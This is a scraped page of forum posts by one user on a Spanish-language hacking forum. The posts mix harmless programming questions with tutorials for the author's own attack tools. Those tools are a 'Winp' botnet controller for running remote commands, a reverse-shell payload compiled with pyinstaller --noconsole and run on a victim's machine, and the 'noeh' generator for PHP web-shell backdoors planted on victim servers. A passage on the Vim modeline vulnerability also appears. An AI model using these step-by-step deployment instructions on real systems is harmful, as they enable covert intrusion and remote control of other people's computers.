Si ya ibas a lanzar la computadora por la ventana, tranquila/o ya los responsables de Vim y Neovim lanzaron sus parches para corregir las vulnerabilidades originadas por estos mismos con el fin de que sigamos usando estos increibles editores. En el caso de Vim, el parche que lo protege es el "8.1.1365", y en Neovim es la versión "0.3.6".

¿Vim y Neovim no son vulnerables?, vamos a vulnerarlos!

Si en este caso no son vulnerables, pero deseas realizar la prueba de concepto, lo puedes lograr desde el archivo de configuracion de Vim, mayormente ubicado en: '/etc/vim/vimrc', aunque primero verifiquemos ejecutando la siguiente sentencia con Vim ya abierto:

Código: text

# Presionamos ":" y colocamos set modeline?
# Si nos retorna "modeline" es porque somos vulnerables a este ataque y si no, nos retornaria "nomodeline"
# Y si quiero cambiarlo a "modeline" en caso de que nos retorne "modeline", colocamos el siguiente codigo en el archivo de ćonfiguracion de Vim "/etc/vim/vimrc"
# set modeline
# Y para ver si la prueba es exitosa, realiza el POC y me dices que tal ...


¿Dudas?, comentamelo o hazme saber si quieres más articulos de noticias recien sacadas del horno

Referencias:

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

- DtxdF
#64
Hacking / Tutorial de Winp
Junio 11, 2019, 12:05:13 AM
Tutorial de Winp

No hace mucho hice un pequeño aporte a la comunidad enseñando mi mini-proyecto para la creación de una botnet: "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta", pocos usuarios pero con palabras que debo escuchar, requerían de documentación o algún tutorial acerca de esto, así que les traigo "Tutorial de Winp".

Antes de seguir debemos saber ... ¿Que es una botnet?

una pequeña definición según wikipedia:

Citar
Botnet es un término que hace referencia a un conjunto o red de robots informáticos o bots, que se ejecutan de manera autónoma y automática.​ El artífice de la botnet puede controlar todos los ordenadores/servidores infectados de forma remota.

¿Que es Winp?

Winp, es un proyecto de código abierto para la interacción múltiple de varias terminales remotas

Características

* - Cifrado híbrido (AES256 y RSA)
* - Múltiples conexiones
* - Uso de un proxy o Tor en el cliente
* - Auto-completado semi-inteligente
* - Uso sencillo y de forma simplificada
* - Rápido
* - Probado en Android (Userland), Linux y Windows (Por lo tanto esta disponible para dos plataformas muy usadas)

Instalación

Código: text

Windows:

pip install win-inet-pton
pip install pyreadline
PyCrypto en windows se tiene que instalar "manualmente". Puedes descargarlo desde http://www.voidspace.org.uk/python/modules.shtml#pycrypto

Linux:

pip install readline
pip install pycrypto

Los dos:

pip install PySocks
pip install rsa
pip install terminaltables

git clone https://github.com/DtxdF/Winp


Uso

Generar las claves públicas y privadas o el par de claves:

Código: text

# Al usar por primera vez el script o cuando se borra el archivo que se genera donde estan almacenadas las claves "Comunmente db.dat" nos mostrara el siguiente mensaje que nos indica que coloquemos el tamaño en bits de las claves. Si presionas "ENTER" usaras el predeterminado.

...

No se localizaron las claves asimétricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]: _

...

# Si estas realizando una prueba puedes usar el tamaño en bits por defecto o uno menor; Una vez que des el ENTER empezara la generación de las claves donde tendremos que esperar

...

No se localizaron las claves asimetricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]:
El tiempo de la generación puede variar dependiendo del tamaño de bits y de las capacidades de su computador!
Generando ...
Escribiendo claves en el disco ...
Hecho!
Winp>

...

# Una vez generado veremos el prompt donde introduciremos comandos ... Pero ¿Cuales comandos?, sigue leyendo.



Manejo y configuración de claves

La diferencia entre claves configurables y no configurables es que las configurables ademas de que no se pueden modificar a traves del script, son tus claves generadas al principio y las configurables ademas de que se pueden modificar, estas interactuan con el descifrado y cifrado

Código: text

# Para ver cuales son las claves no configurables
Winp> show keys
Clave Pública: PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)
Clave Privada: PrivateKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537, 48494281988900403637325694392500465780248672483421421961068527779514452344806114281616452733147655540842312037471341282489968066219385502529969114589017042373692610200256808982070908819462297258143877185529102463480666979383115687500657778698566301595898465371826246127469059270935260338960317522565512672545, 52849951656400780285777520884722631487282822866380480600342755833032605533590186295581706790005744752358429614259024948140444759779010984029348917770810060513509809, 1703030710670232751440283284246566349733904241977940821873209494830657724104064064237818845466176006739101797811703277196376035836239941455995979)

...

# La clave pública se debe introducir en client.py, a continuación ya veremos como configurarlo
# Vamos a generar el par de claves para client.py y a configurar client.py
# Abrimos una consola de python

python
# Importamos el modulo rsa
>>> import rsa
# Generamos
>>> keys = rsa.newkeys(1024) # Tamaño en bits
>>> keys[0] # Clave pública
PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537) # Copiemos esta y configuremos en el servidor
>>> keys[1] # Clave privada
PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533) # Esta la usaremos en client.py

...

Winp> set key add public PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537)


Configuración del cliente

Código: text

# Abrimos client.py con nuestro editor de texto, recomiendo nano o vim y nos vamos a las lineas de configuración del 28 al 35 para rellenar las variables correspondientes, en mi caso usare valores de ejemplos

...
rhost = str('127.0.0.1') # Dirección del servidor
rport = int(8043) # Puerto del servidor
user = str("root") # Usuario, normalmente esta en la configuración
passwd = str("password123!") # Contraseña, normalmente esta en la configuración
buff = int(1024) # El tamaño de la carga en memoria, 1024 esta perfecto, aunque si comienza a tener grandes cantidades de longitudes de datos use uno más grande

public_key = str('PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)') # Controlador
private_key = str('PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533)') # Esclavo
...



Ver los clientes conectados e interacturar con ellos

Código: text

Winp> show clients
... Aqui se mostrarían los clientes, pero debido a los caracteres el navegador no los visualizaría correctamente, en este caso yo tengo el siguiente cliente: 127.0.0.1P48210 (Como podemos ver, hay un "P" entre-medio de la dirección IP y el puerto, eso es un separador)
# Ahora enviemos un simple comando:
Winp> shell remote 127.0.0.1P48210 execute whoami
# Ahora visualizamos el resultado
# Quiero aclarar que puedes mostrar tanto todos los datos recibidos sin organización e incluso con organización por dirección IP
# Forma desorganizada
Winp> show data
... Los datos no los público por los caracteres
# Forma organizada
Winp> show data 127.0.0.1P48210
...


Configuración

Si necesitas cambiar un valor o el funcionamiento del script completo, puedes hacerlo en utils/config.py

Código: text

# -*- coding: UTF-8 -*-

import socks
import socket
from terminaltables import AsciiTable, DoubleTable, GithubFlavoredMarkdownTable, PorcelainTable, SingleTable

conf = {
        'proxy_setting':{ # Configuración del proxy
            'use':False, # True para integrar el proxy en el cliente, False lo contrario
            'proxy_type':socks.PROXY_TYPE_SOCKS4, # Tipo de proxy
            'proxy_addr':'127.0.0.1:9050', # La dirección del proxy, en este caso es la dirección del proxy de Tor
            'rdns':True, # dns remoto
            'username':None, # Nombre de usuario
            'password':None # Contraseña
            },
        'rsa_setting':{ # Configuración de rsa
            'bitsize':1024, # El tamaño de bits. Si recordamos es lo que nos aparece al principio del script en el primer momento de ejecución
            },
        'socket_setting':{ # Configuración del socket
            'lhost':'127.0.0.1', # La dirección del host local
            'lport':8043, # El puerto local o en escucha
            'family':socket.AF_INET, # La familia del socket
            'protocol':socket.SOCK_STREAM, # El protocolo
            'limit':0, # El limite de clientes, '0' para que sean infinitos
            'buffer_limit':1024 # El tamaño del buffer para la recepción de datos
            },
        'credentials':{ # Las credenciales
            'username':['root'], # Los nombres de usuarios
            'password':['password123!'] # Contraseñas
            },
        'style':{ # El estilo de algunas cosillas
            'input_string':'Winp> ', # El prompt
            'table_style':SingleTable # El estilo de la tabla
            },
        'time_setting':{ # La configuración del tiempo
            'sleep':1 # El intervalo de espera
            },
        'keys_setting':{
            'bitsize':1024
            },
        'shelve_setting':'db.dat', # La configuración de shelve para la serialización
            'custom_chars':{ # Los caracteres imprimibles correctamente usando la utilidad modify_char.modify
                'ñ':'\xa4',
                'ó':'\xa2',
                'í':'\xa1',
                'ú':'\xa3',
                'á':'\xa0'
            }
        }


Imágenes:



ATENCIÓN y DISCULPAS: Actualice a una versión reciente de Winp ya que se arreglaron errores de código

Nota-1: Si usas un sistema operativo/distribución que no se menciono o no se probo su funcionamiento, ayúdame a verificar su funcionamiento haciéndomelo saber
Nota-2: El proyecto se ira actualizando constantemente, esta atento ante nuevas funcionalidades, corrección de errores, etc
Nota-3: Esta información en cualquier momento puede quedar obsoleta, tratare de actualizar lo más rápido posible
#65
Hacking / Winp: Una botnet desde tu casa!
Junio 10, 2019, 02:14:58 AM
Winp


Un script en python para la interacción remota de varias terminales o básicamente un script para la creación de una botnet.


Características


  • Cifrado híbrido en las conexiones - (RSA y AES256)
  • Incrustamiento de un proxy en el cliente
  • Múltiples conexiones
  • Autocompletado semi-inteligente

Requerimientos - (Principal)


  • Python 2.7

Requerimientos - (Python)


  • PySocks
  • readline - (Linux)
  • pyreadline - (Windows)

Requerimientos - (Opcional)


  • Tor o un proxy

Instalación

Código: text

Windows:

pip install win-inet-pton
pip install pyreadline

Linux:

pip install readline

Los dos:

pip install PySocks

git clone https://github.com/DtxdF/Winp
cd Winp
python gen.py
Winp> help
...
Winp>


Uso

Ejecutamos por primera vez y veremos que aparece el siguiente mensaje:

Código: text

No se localizaron las claves asimetricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]:


Introducimos la longitud en bits de las claves asimétricas o Enter para aceptar el tamaño que nos aparece por defecto

Código: text

...
Tamaño en bits [1024]:
El tiempo de la generación puede variar dependiendo del tamaño de bits y de las capacidades de su computador!
Generando ...
Escribiendo claves en el disco ...
Hecho!
Winp>


Una vez creada las llaves nos mostrara el prompt donde podremos introducir comandos como por ejemplo ...

Código: text

...
Winp> help # Para la ayuda
...
Winp> show keys # Muestra las llaves no configurables
...
Winp> show key public # Muestra la llave pública configurable
...
Winp> show key private # Muestra la llave privada configurable
...
Winp> show clients # Muestra los clientes conectados
...
Winp> show data # Muestra los datos recibidos
...
Winp> set key add public <Clave pública> # Para definir la clave pública del destinatario
...
Winp> shell remote <Dirección> <Comando> # Enviar un comando remoto
...


Imagenes

Generamos el par de claves del cliente (Victima)



Vemos el funcionamiento de algunos comandos y como configurar la clave pública del cliente



Preguntas

¿Te gustan estos aportes?, ¿Deseas que haga un tutorial más explicativo acerca del tema?, ¿Tienes dudas?

NOTA: Solo esta probado en Windows y Linux, por lo tanto solo se indicaran las caracteristicas/requerimientos para estos. (Windows 7, Kali linux)

Si tienes alguna duda no dudes en comentarlo y Gracias por leer ...

- Creado por DtxdF
#66
Dudas y pedidos generales / Ayuda con rpyc en python
Junio 04, 2019, 05:27:40 PM

Estoy creando una aplicación en python usando el protocolo rpyc para ejecutar python remotamente, en esto me encuentro con una duda que me frena.

Inspiración, gracias pupy rat (Un troyano igualmente escrito en python y usando este protocolo). En eso que pruebo este rat me di cuenta de algo, la conexión era inversa y la conexión para interactuar de rpyc (Cuando yo empecé a usar este módulo), era una conexión directa, me frena el hecho de que el firewall/IPS/Ente protector o la interaccion no iba a hacer la misma debido a que los niveles de detección de la conexión va a hacer mucho mas propensa a la detección (Aunque también una conexión inversa puede ser detectable, pero ese es otro tema).

Lo que necesito es que llenen de conocimiento acerca de cómo hacer para enviar código de python del servidor al cliente.

Gracias :'D
#67
¿Que es?

Convex es un script de código abierto que te permite implementar en tu programa/script/snippet un proxy para obtener mayor protección a la hora de realizar conexiones en el exterior

Requerimientos


  • Python2.x (python >= 3 no probado)
  • Módulo socks de python
  • Librería de socket estándar (pre instalada)

Instalación

Código: text
[Linux y derivados] - No te asustes, lo puedes hacer en Windows descargando e instalando la librería socks
sudo apt-get install python-socks
git clone https://github.com/DtxdF/convex.git


Para usar este script sólo debes seguir dos pasos:


  • Importar
Código: python
import convex

  • Ejecutar la función encargada (rellenando la información al menos que se quiera dejar por defecto: (proxy_type=socks.PROXY_TYPE_SOCKS4, proxy_addr="127.0.0.1:9050", rdns=True, username=None, password=None)
Código: python
convex.transfor() # como ven ejecuto la función con la información por defecto, uso la dirección estándar de **Tor** para este ejemplo

    Para este ejemplo usaré la librería requests

    Código: python
    import requests
    import convex

    convex.transfor()

    data = requests.get("http://ip-api.com/json").json()

    for key, value in data.items():

        print("℅s => ℅s" ℅ (str(key), str(value)))

    # Si queremos volver a tener nuestra dirección IP

    convex.restruct()


    Pueden ver mas información en mi repositorio: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
    #68
    Hola comunidad de Underc0de, no solo les vengo a preguntar, si no, insistir algo que pregunte no hace mucho.

    Mi duda es como se crean esos programas estilo: nano, wifiphisher, hexeditor, vim y más.

    No me refiero a su función en si (ejemplo: nano, editar, leer archivos), me refiero a que su modo de uso es usando el teclado sin salir de la terminal.

    Busco en Google pero nada, se los agradecería.
    #69
    Hola, hace algún tiempo me estoy metiendo en el mundo del pinguino y me entro la curiosidad de como crear un programa de modo texto estilo: nano, wifiphisher, hexeditor, btscanner, lynx, etc; Programas que su modo de uso que los caracteriza es usando combinaciones de teclas.

    Gracias  ;D
    #70
    Hacking / Hackeando Windows y Linux en el 2019
    Enero 26, 2019, 01:51:49 PM
    Hola gente de underc0de :D

    Hoy les traigo dos aportes al mismo tiempo y así les demuestro un protocolo que ya publiqué en este mismo foro en la sección de python: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta (Recomiendo que lean primero este post, antes de continuar).

    Eh visto muchos programas, scripts, aplicaciones, etc; que pueden acceder a computadores fácilmente pero hay dos inconvenientes principales: la detección de los antivirus y que no se pueden editar. Me refiero más que todos a los rats y parecidos.

    En este post quiero brindarles una herramienta sencilla para que no sólo se motiven a usar, también a editarla y visualizar su código (más que todos aquellos que quieren aprender a programar, están o lo estarán o simplemente porque están aburridos xD).

    Pueden clonarlo desde mi repositorio: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

    Y tendran que editar los archivos: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta (Este no es necesario, si quieren, ya que el host se detectara automáticamente y el puerto por defecto es 8443) y reverse_shell.py (con la dirección de la máquina atacante). Me refiero a editar las variables.

    Pasos para su uso:

    Primero: La clonaremos (En el caso de que no tengas instalado 'git', sólo usa tu navegador y descarga el zip): git clone No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
    Segundo: nos dirigimos al directorio creado y procedemos a editar las variables de el archivo reverse_shell.py:



    Como ven en la imagen: la variable 'host_attacker' (va la dirección del atacante), 'port' (puerto a conectarse), 'password' (la contraseña para encriptar y desencriptar los datos del protocolo. Debe tener 32 caracteres), 'repeticiones' (las repeticiones de cifrado y de descifrado en el protocolo).

    Las editaremos según lo obligatorio y a nuestro gusto.

    Tercero: en el archivo No tienes permitido ver enlaces. Registrate o Entra a tu cuenta no es necesario editarlo ya que la dirección IP se auto detecta y el puerto por defecto es 8443

    Una vez hecho todo lo necesario, arrancamos el servidor: python2 No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, nos indicara: 'Esperando conexiones ...'.

    Cuarto: compilaremos reverse_shell.py a un ejecutable de Windows o para Linux. En este caso yo lo compilare para Windows con pyinstaller:

    pyinstaller reverse_shell.py --onefile --noconsole

    Los parámetros:

    --onefile: para que se cree sólo un archivo
    --noconsole: no se muestre nada en pantalla

    Y por último: ejecutamos la carga útil en la máquina que deseemos atacar y tendremos una conexión remota, para ejecutar comandos:

    Citar
    $ python2 No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
    Esperando conexiones ...
    127.0.0.1:48812 >>> whoami
    Enviando comando a :: 127.0.0.1:48812 ...
    127.0.0.1:48812 >>>

    pc\pcc


    127.0.0.1:48812 >>>

    Listo, podremos controlar una PC remotamente de forma segura.

    Algunos comandos de ayuda, aunque los puedes apreciar en el código fuente de reverse_shell.py:

    getinfo: obtener información de la máquina: sistema operativo, procesador, dirección IP, ciudad, país, arquitectura, etc.
    cd: puedes moverte a la ruta que desees remotamente
    pwd: ver la ruta actual
    exit: salir de las dos aplicaciones
    Comandos del sistema: ejecutar comandos remotamente

    Está aplicación puedes usarla para reunir información, fingerprinting, etc.

    Más imágenes:



    Gracias :'D
    #71
    Secure Data Connection – SDC:

    • ¿Qué es?: Es un protocolo de comunicación entre sockets (Cliente-Servidor) de forma segura. En la comunicación se cifran y descifran los datos ya sean de entrada y de salida de forma simétrica con el cifrado por bloques AES.
    • ¿Cómo lo uso?: Por estos momentos solo se puede usar en el lenguaje de programación "Python". Pronto se podrá estandarizar en diferentes lenguajes de programación.
    • ¿Para qué lo debo usar?: Como ya mencione, sirve para comunicarse entre un cliente y servidor, se pueden usar en aplicaciones sencillas o complejas en una red de alta velocidad. Ejemplo de aplicaciones: Chat, Administración de computadores u otra aplicación que se requiera la comunicación de forma remota.
    ¿Cómo funciona?:
    En la siguiente imagen se describe mucho mejor como funciona, seguido de la explicación textual:



    ¿Qué son las repeticiones?: "Las repeticiones deben ser por iguales en el cliente-servidor y mientras más tenga, más tardío puede ser el proceso de comunicación, aunque también depende de los recursos del computador". Esta indica cuantas veces se deben cifrar-descifrar los datos.

    Verificando su funcionamiento:
    En la siguiente imagen podremos apreciar que pasaría si un cliente se conecta a nuestro servidor pero este no usa el protocolo correcto (Secure Data Connection - SDC):



    Como vemos en la imagen el servidor es una aplicación creada en python, sencilla que usa el protocolo "SDC", y el cliente en este caso seria "netcat".



    Vemos como el servidor le envía el siguiente mensaje: "Hola mi nombre es DtxdF", pero como este cuenta con unas 10 repeticiones se ve todo esos datos que están cifrados y codificados a hexadecimales.
    Veamos el funcionamiento con las aplicaciones correctas:



    Como se puede apreciar, las aplicaciones usan el protocolo correcto por lo tanto pueden enviar y recibir los datos correctos de forma simple y sencilla.

    Ejemplos:

    * - Este es un ejemplo usando la consola de python:

    Primer ejemplo: Un cliente comunicándose con el servidor:

    Servidor:

    Citar
    Python 2.7.13 (v2.7.13:a06454b1afa1, Dec 17 2016, 20:42:59) [MSC v.1500 32 bit (Intel)] on win32
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import sdc
    >>> servidor = sdc.Connection("", 8443, "12345678901234567890123456789012", repeat=10)
    >>> servidor.server()
    >>> servidor.client_buffer_print()
    [{'origin': '127.0.0.1:49485', 'content': 'Hola gente de Underc0de soy un cliente', 'length': 23}]
    >>>

    Cliente:

    Citar
    Python 2.7.13 (v2.7.13:a06454b1afa1, Dec 17 2016, 20:42:59) [MSC v.1500 32 bit (Intel)] on win32
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import sdc
    >>> cliente = sdc.Connection("localhost", 8443, "12345678901234567890123456789012", repeat=10)
    >>> cliente.server_buffer_interact("Hola gente de Underc0de soy un cliente")
    >>>

    Segundo ejemplo: El servidor comunicándose con un cliente:

    Servidor:

    Citar
    Python 2.7.13 (v2.7.13:a06454b1afa1, Dec 17 2016, 20:42:59) [MSC v.1500 32 bit (Intel)] on win32
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import sdc
    >>> servidor = sdc.Connection("", 8443, "12345678901234567890123456789012", repeat=10)
    >>> servidor.server()
    >>> servidor.client_buffer_interact("Hola gente de Underc0de soy un servidor", servidor.client_list()[0])
    >>>

    Cliente:

    Citar
    Python 2.7.13 (v2.7.13:a06454b1afa1, Dec 17 2016, 20:42:59) [MSC v.1500 32 bit (Intel)] on win32
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import sdc
    >>> cliente = sdc.Connection("localhost", 8443, "12345678901234567890123456789012", repeat=10)
    >>> cliente.server_buffer_recv()
    >>> cliente.server_buffer_print()
    [{'origin': '127.0.0.1:8443', 'content': 'Hola gente de Underc0de soy un servidor', 'length': 23}]
    >>>

    Como ven es sencillo. Si no les queda del todo claro pueden ve información en el archivo: "informacion.docx" del repositorio, igualmente pueden ver una aplicación de chateo clonando el siguiente repositorio: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

    Repositorio de SDC: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
    Requerimientos: socket (pre instalado), thread (pre instalado), Crypto (no viene pre instalado), json (pre instalado).

    Para instalar Crypto, puedes hacerlo con: easy_install, pip o instalando el binario (En el caso de Windows).

    Este protocolo apenas está creado, es mejorable y puede tener algunas fallas, sin embargo lo eh probado creando diferentes aplicaciones y funcionan perfectamente. Puedes ver el código fuente, modificarlos y mejorarlo a tu gusto.

    Para ver la ayuda del módulo, usa la función de python "help" para apreciarla. Ejemplo: help(sdc)
    #72
    Hola, para sacarme de una duda que no me deja dormir, quería preguntarles cómo ganan dinero las empresas cuando su producto es gratuito.

    Por ejemplo si hablamos de Facebook, algunos de sus ingresos puede ser por la información de los usuarios que se registran en esta red social que les venden a otras empresas.

    Pero ... Si hablamos de un producto digital (un programa) y estos lo distribuyen de forma gratuita sin implementar una estrategia típica, ejemplo: 'Freemium', que en este caso se le otorga el software gratuito al usuario pero con limitaciones y la manera de saltar estas restricciones es pagar una licencia a la empresa distribuidora.

    Lo que trato de decir es como hacen estas empresas para tener ganancias vendiendo un producto totalmente gratuito?, Alguien les paga?.
    #73
    Dudas y pedidos generales / Opinion sobre mi pagina web
    Diciembre 21, 2018, 10:14:51 PM
    Hola chicos/as quisiera que me dieran una opinión sobre una pagina web o servicio web que diseñe.

    El contenido de esta pagina trata sobre compartir, almacenar y/o transferir ficheros, mi objetivo no es hacer competencia con algun servicio que ofrezca el mismo proposito o parecido, trate de hacerlo lo más sencillo posible para el usuario común.

    ¿Como funciona?:

    Lo trate de hacerlo lo más sencillo posible tanto que no necesita logueo o registro, ya que este funciona por un sistema de llaves generadas automaticamente cuando subes un archivo, esta llave tiene como funcion identificar los archivos subidos y la encriptación/desencriptación de estos mismos.

    ¿Como comparto mi archivo con otro usuario de forma privada?:

    Con la llave que se genera automaticamente al subir un fichero por primera vez, usted al compartirla el usuario la tendra que ingresar en el formulario que le aparecera en la misma pagina de inicio, luego se le empezaran a cargar los archivos y su información respectiva.

    Conclusion:

    En total este sitio web el unico proposito de este es transferir archivos de forma rapida e instantanea para una situación de emergencia o parecido, muy util a la hora de que no tengamos tiempo de no loguearnos en una red social o una situacion parecida.

    Dirección del sitio web: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

    Si ustedes me pueden hacer una recomendación, opinión, etc; Estoy dispuesto a leerlas.

    OJO: Abra mejoras ya sean de seguridad o para un mejor funcionamiento.
    #74
    Cuando trato de ingresar a ciertas páginas web e incluso a las direcciones de las páginas de mi cuenta de hosting me tira el siguiente mensaje o uno parecido: "This site requires Javascript to work, please enable Javascript in your browser or use a browser with Javascript support", que básicamente me indica que mi navegador no soporta o no tiene instalado Javascript.

    Mi pregunta es: Como hago para usar Javascript en python, que haga creer que tenga instalado/habilitado Javascript en la página a la que trato de acceder o algo parecido.
    #75
    Tengo un problema con el comando sudo en la terminal de termux.

    Primero instale tsu, con el comando 'apt install tsu', lo ejecute y me tira la siguiente salida: '/data/data/com.termux/files/usr/bin/tsu: 139: exec: : Permission denied', igualmente ejecutando 'tsudo'.

    Seguido de instalar sudo, clonandolo del siguiente repositorio: 'No tienes permitido ver enlaces. Registrate o Entra a tu cuenta', seguido de copiarlo a '/data/data/com.termux/files/usr/bin', dándole permisos: 'chmod +x /data/data/com.termux/files/usr/bin'.

    Luego ejecutó el comando 'sudo' me salta lo siguiente:

    Código: text
    su executable not found
    sudo requires su


    Como mismo me indica que necesito su, pero para comprobar que no es un error de 'sudo', intento ejecutar 'su', efectivamente lo ejecuto y me aparece la siguiente salida:

    Código: text
    No su program found on this device. Termux
    does not supply tools for rooting, see e.g.
    http://www.androidcentral.com/root for
    information about rooting Android.


    Igualmente me indica la misma salida que el comando 'sudo', que el comando 'su' no está en este dispositivo y que termux no proporciona herramientas de rooteo (enraizamiento), mostrándome también un link que me explica mucha información, consecuencias, etc, de este tema.

    Entonces necesitaría instalar 'su' en termux o en mi dispositivo, tengo que rootear mi teléfono para hacer esto?.

    También noté, que algunas personas que instalan 'sudo' en termux me explican que tienen una versión más antigua de termux.

    Uso Android versión 7.1.1.
    ZTE Maven 3 z835.
    #76
    Eh visto varias páginas web con artículos interesantes, vídeos y mucha información acerca de estos modelos, como su funcionamiento y el de cada una de sus capas.

    Mi Pregunta es:

    Donde se configura esto (en un dispositivo?, En un ruter/otro parecido?), Cuando debo usar uno u otro y la comunicación de los aparatos informáticos funcionaria de igual manera si yo me comunicó usando un modelo TCP/IP y el receptor un OSI?

    Posiblemente me este equivocando en una de mis preguntas, pero por eso las hago.
    #77
    Hola, me urge la duda hace algun tiempo se me ocurrio la idea de integrar un proxy a un script de python, cuando lo consigo hacer se me ocurre otra idea, de porque no usar un proxy de tor?, investigue y me tope con esto: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta , que era lo mas cercano que encontre a mi busqueda, pero el requerimiento es instalar tor y este pesa mucho para crear un script y ejecutarlo en una maquina diferente a la que uso, no hay alguna manera, metodo o programa para usar proxys de tor sin instalar tor?

    Espero sus respuestas ...

    - DtxdF
    #78
    Hola, En este momento les traigo un aporte un poco no innovador pero aun asi me gustaria compartirselos, Aqui les presento a 'noeh': No tienes permitido ver enlaces. Registrate o Entra a tu cuenta una herramienta para generar puertas traseras para la interaccion de un sitio web con php, A traves de python.

    Significado de los parametros:

    Para generar el payload:

    * - generate: Es el comando para que noeh interprete para generar el archivo
    * - out: Sirve para definir el nombre del archivo
    * - passwd: Sirve para definir la contraseña para confirmar nuestro acceso y comunicacion

    Para conectar a el servidor:

    * - conn_addr: Es el comando para definir la url con la ubicacion del archivo para conectar
    * - passwd: La contraseña que colocamos cuando generamos la carga util
    * - noconfirm: Es si queremos confirmar si el archivo se puede usar con noeh o no, en el caso de queramos que no confirme coloquemos true y en el caso contrario false

    El uso es sencillo:

    Paso 1: Al ejecutar este script, ingresaremos el siguiente comando para poder generar la carga util a enviar al servidor con php: generate out <nombre del archivo> passwd <contraseña>

    Captura de noeh:



    Paso 2: Al haberlo generado y puesto en el servidor de la victima, necesitamos saber la ruta de donde se encuentra por supuesto tambien que el servidor pueda ejecutar archivos php, podemos interactuar manualmente con nuestro navegador o podemos usar noeh para la interaccion del servidor mediante comandos del sistema, en este caso la forma manual es facil, colocamos en nuestro navegador: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta<contraseña>&cmd=<comando para ejecutar en el sistema>, pero si preferimos usar la comodidad de nuestra terminal usemos noeh basicamente es mucho mas facil, solo ejecutamos el siguiente comando en noeh: conn_addr No tienes permitido ver enlaces. Registrate o Entra a tu cuenta passwd <contraseña> noconfirm <true o false>, por ultimo se abrira una terminal donde podremos ejecutar comandos del servidor sin tener que colocar los parametro manualmente desde nuestro navegador con este estilo: [Noeh][Shell:No tienes permitido ver enlaces. Registrate o Entra a tu cuenta] >.Aqui los comandos a enviar y recibir ejecutados

    Captura de noeh:



    Espero les haya gustado ...

    - DtxdF
    #79
    Hola.

    Estoy creando un programa que tome capturas de pantalla a la webcam, funciona, se ejecuta perfectamente y ademas toma la foto, sin embargo cuando lo ejecuto compilado a un ejecutable de windows (.EXE), no toma la captura de pantalla ni puede acceder a la webcam, aqui el ejemplo del codigo:

    Código: python
    # -*- coding: utf-8 -*-
    import cv2
    cap = cv2.VideoCapture(0)
    leido, frame = cap.read()
    if leido:
        cv2.imwrite("test.png", frame)
    else:
        print "Error, Al acceder a la webcam!"


    Espero me puedan ayudar ...

    Nota: Digo posible error, es porque no menciona ningun error en su ejecucion me refiero a error al acceder a la camara, cuando lo ejecuto sin compilar (.PY) en la tupla de 'cap.read()', cuando lo divido en mitades 'leido, frame' la variable leido me da True por lo tanto es posible acceder a la webcam pero cuando esta en '.EXE', me da False por lo tanto me dira: 'Error, Al acceder a la webcam!'

    - DtxdF
    #80
    Hola, he estado trabajando en un script de python que genere puertas traseras (back doors), para comprometer una maquina con windows.

